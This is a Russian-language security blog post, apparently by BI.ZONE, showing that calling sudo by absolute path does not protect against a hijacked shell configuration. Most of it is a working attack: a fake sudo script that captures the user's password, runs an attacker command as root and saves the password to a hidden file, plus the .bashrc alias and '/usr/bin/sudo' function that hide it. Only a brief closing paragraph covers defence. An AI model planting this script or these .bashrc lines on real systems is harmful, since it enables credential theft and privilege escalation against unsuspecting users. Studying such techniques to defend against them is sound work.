Так ли безопасно использование абсолютного пути в *nix системах, как мы привыкли считать?

в 14:04, , рубрики: pentest, privilege escalation, sudo, Блог компании BI.ZONE, информационная безопасность, повышение прав, Разработка под Linux

image

Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):

…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший “урожай” паролей.
…

Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.

Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.

Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.

Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.

Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.

Например, стандартный alias из .bashrc:

alias ll='ls -alF'

При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:

alias sudo='echo PWNED'

После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.

image{1.png}

Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.

А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:

function /usr/bin/sudo() {
        echo PWNED
}

Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.

image{2.png}

Следующий этап – написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.

В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.

Для начала пишем код ядовитого sudo:

#!/bin/bash

echo -n "[sudo] password for $LOGNAME: "
read -s password
echo

command='whoami'

eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"

Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права на исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config).

С помощью read -s password мы считываем пароль в переменную $password.
В переменной command='whoami' содержится команда, которую мы будем выполнять с повышенными правами.

Конструкция echo -e $password | sudo -S в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.

--prompt='' нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.

Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:

alias sudo='~/.local/.config'
function /usr/bin/sudo() {
        eval "~/.local/.config $*"
}

Проверяем:

image{3.png}

Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.

command="echo $password > ~/.local/.1"

Пробуем:

image{4.png}

Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su или sudo --help. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.

Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.

А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.

Спасибо за внимание :)

Автор: BI.ZONE

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js